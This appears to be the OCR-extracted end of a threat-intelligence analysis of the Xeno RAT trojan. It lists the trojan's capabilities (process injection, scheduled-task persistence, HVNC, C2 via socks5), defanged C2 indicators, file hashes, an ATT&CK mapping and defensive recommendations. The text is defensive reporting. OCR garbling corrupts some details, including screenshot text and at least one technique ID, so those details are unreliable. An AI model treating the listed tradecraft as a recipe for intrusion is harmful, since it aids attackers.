E :‘l.leel51|.IEUsEr1|.Deskh:D‘l,'x'ENDNE'.“J"u(EnD-rat"P|u|:|ins‘ScreenCDntrol‘l.[:bj‘uRelaase"ScreenCc:ntrol.Ddb]
WENMD et Cient

Xeno

Memory-map of colorcpl.exe

Xeno RAT also adds itself to the scheduled task for persistance:

B Sysinternals Support Ready

Multiple triggers defined 22-02-2024 73:53:11 22-02-2024 22:58:J8  (w()

Sysintzrnzlz.com

General Tiggers Actions Conditions  Settings  History (disabled)

When you creaste a tack, you can specify the conditions that will tngger the tack. To change these triggers, open the tack preperty pages using the Properties command.

Tngger
One tme
At log on

[etails Status
it (22024 - After triggered, repeat every 1 hour indefinitely. Enabled
£t Ing on of DESKTO PGP Enabled

General Triggers Actions Conditions Settings History (disabled)

When you create a task, you must specify the action that will occur when you
Action Details

Start a program SAPPDATA\Adobe\Drivers\Support.url

Added as scheduled task

The examination of the Xeno RAT yields valuable insights and unveils its operational characteristics. Drawing from this

analysis and the data extracted, the subsequent points outline the capabilities of this remote access trojan:
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e Monitors victim’s activity.

e Operates covertly.

o Use defensive measures to evade analysis.

¢ Uses Hidden Virtual Network Computing to access the compromised systems.

o Uses scoks5 proxy to connect with C2 server.

¢ Persistence using scheduled task.

« Utilizes process injection to target legit Windows process (hh.exe and colorcpl.exe)
» Uses obfuscation in codes and network traffic.

» Receives and executes the commands from C2.

» Employs measures against debugging and actively avoids detection mechanisms.
e Sends status update to C2 at regular intervals.

e It can add and remove from the systems startup.

e It can uninstall itself from the compromised system.

CONCLUSION

In summary, Xeno RAT is a dynamically evolving malware, boasting advanced capabilities coded in C#. It is freely
accessible on GitHub, where threat actors leverage it to infiltrate targets through diverse tactics, such as distributing free

content and phishing emails. Additionally, the developer pledges ongoing updates to enhance its functionality.

To reduce the risks associated with Xeno RAT malware, users should exercise caution when opening files from
untrustworthy sources or clicking on unfamiliar links, particularly those offering questionable software or content.
Furthermore, deploying robust cybersecurity measures, including utilizing reputable antivirus software, ensuring software is
regularly updated, and staying vigilant against social engineering tactics, can significantly bolster protection against such

threats.

It’s imperative for both platform providers and users to stay vigilant in detecting and reporting suspicious activities.
Collaboration between cybersecurity professionals and platform administrators is crucial for promptly identifying and
addressing such threats, leading to a safer online environment. Education and awareness campaigns are also vital in
equipping individuals with the knowledge to recognize and evade such malware, ultimately fostering a more resilient and

secure online ecosystem.

INDICATORS OF COMPROMISE

S/N  Indicators Type Context

Screenshot_2024-01-30_w-
1 13b1d354ac2649b309b0d9229def8091 File 69-06-
18264122612_DCIM.png.In]

Screenshot_2024-01-30_w-
2 848020d2e8bacd35¢71b78e1a81c669c9dc63c78dd3db5a97200fc87aeb44c3c  File 69-06-
18264122612_DCIM.png.Inl

3 6f9e84087cabbb9aaa7d8aba43a84dcf File Sys.zip
4 4d0d8c2696588ff74fe7d9f8c2097fddd665308fccf16ffea23b9741a261b1c0 File Sys.zip
5 7704241dd8770b11b50b1448647197a5 File Samcli.dll
6 1762536a663879d5fb8a94c1d145331e1d001fb27f787d79691f9f8208fc68f2 File Samcli.dll
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7 0aa5930aa736636fd95907328d47ea45 File LICENSE

8 96b091ce5d06afd11ee5ad911566645dbe32bfelda2269a3d3ef8d3fa0014689 File LICENSE
1P

9 45[.161[.]139[.]51 Cc2
address

10 internal-liveapps|[.]online

Domain C2

MITRE ATT&CK TACTICS AND TECHNIQUES

No. Tactic

1 Execution (TA0002)

2 Persistence (TA0003)

3 Defense Evasion (TA0005)

4 Discovery (TA0007)

5 Command and Control (TA0011)

4 Discovery (TA0007)
Recommendations

Technique

T1059.003: Windows Command Shell
T1053.005: Scheduled Task
T1204.001: Malicious Link
T1024.002: Malicious File

T1053.005: Scheduled Task

T1622: Debugger Evasion
T1497:Virtualization/Sandbox Evasion
T1055: Process Injection

T1622: Debugger Evasion
T1497:Virtualization/Sandbox Evasion
T1071.001: Web Protocols

T1622: Debugger Evasion

T1497:Virtualization/Sandbox Evasion

e Implement threat intelligence to proactively counter the threats associated with Xeno RAT malware.

» To protect the endpoints, use robust endpoint security solutions for real-time monitoring and threat detection, such as

Antimalware security suit and host-based intrusion prevention system.

» Continuous monitoring of the network activity with NIDS/NIPS and using the web application firewall to filter/block

the suspicious activity provides comprehensive protection from compromise, due to encrypted payloads.

» Configure firewalls to block outbound communication to known malicious IP addresses and domains associated with
Xeno RAT command and control servers.

¢ Implement behavior-based monitoring to detect unusual activity patterns, such as suspicious processes attempting to

make unauthorized network connections.

» Employ application whitelisting to allow only approved applications to run on endpoints, preventing the execution of

unauthorized or malicious executables.

¢ Conducting vulnerability assessment and penetration testing on the environment periodically helps in hardening the

security by finding the security loopholes, followed by remediation process.
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Use of security benchmarks to create baseline security procedures and organizational security policies is also
recommended.

Develop a comprehensive incident response plan that outlines steps to take in case of a malware infection, including
isolating affected systems and notifying relevant stakeholders.

Security awareness and training programs help to protect from security incidents, such as social engineering attacks.
Organizations should remain vigilant and continuously adapt their defenses to mitigate the evolving threats posed by
Xeno-RAT malware.

Update security patches which can reduce the risk for potential compromise.
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